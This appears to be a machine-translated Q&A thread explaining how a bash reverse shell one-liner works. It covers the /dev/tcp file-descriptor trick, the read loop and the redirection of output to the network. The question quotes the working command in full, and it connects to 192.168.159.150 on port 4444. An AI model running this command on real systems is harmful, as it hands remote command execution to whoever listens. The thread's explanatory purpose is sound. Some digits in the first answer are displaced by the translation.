我正在做一些安全研究,我想知道以下代码片段如何在基于 Unix 的操作系统上工作:
exec 5<>/dev/tcp/192.168.159.150/4444; cat <&5 | while read line; do \$line 2>&5 >&5; echo -n \$(pwd)'# ' >&5; done
我完全清楚什么这段代码确实(即通过端口 4444 建立到 192.168.159.150 的反向 shell),但我不明白这些部分在做什么:
exec 5<>
cat <&5
2>&5 >&5
总的来说,这个东西是如何组合在一起产生我所看到的外壳的。
谁能帮助解释这一点或指出我理解这一点的正确方向?
谢谢
答案1
快速概述:
exec 5<>
正在打开一个新的文件句柄进行读写,然后命名它5
cat <&5
正在从新打开的文件句柄中读取
2>&5 >&5
2
将文件句柄(stderr) 和文件句柄(stdout)的输出重定向1
到文件句柄5
。在这种情况下是1
隐含的,因为第二次重定向时未提供文件句柄号。
答案2
您的问题的部分内容已得到解答这里
但
- 这定义了编号为 5 的新文件描述符。顺便说一句,0 是 STDIN,1 是 STDOUT,2 是 STDERR 文件描述符
- 回显信息,通过 TCP 接收,IP 192.168.159.150,端口 4444
- 将 STDERR 和 STDOUT 发送到 filehandler 5 ie 网络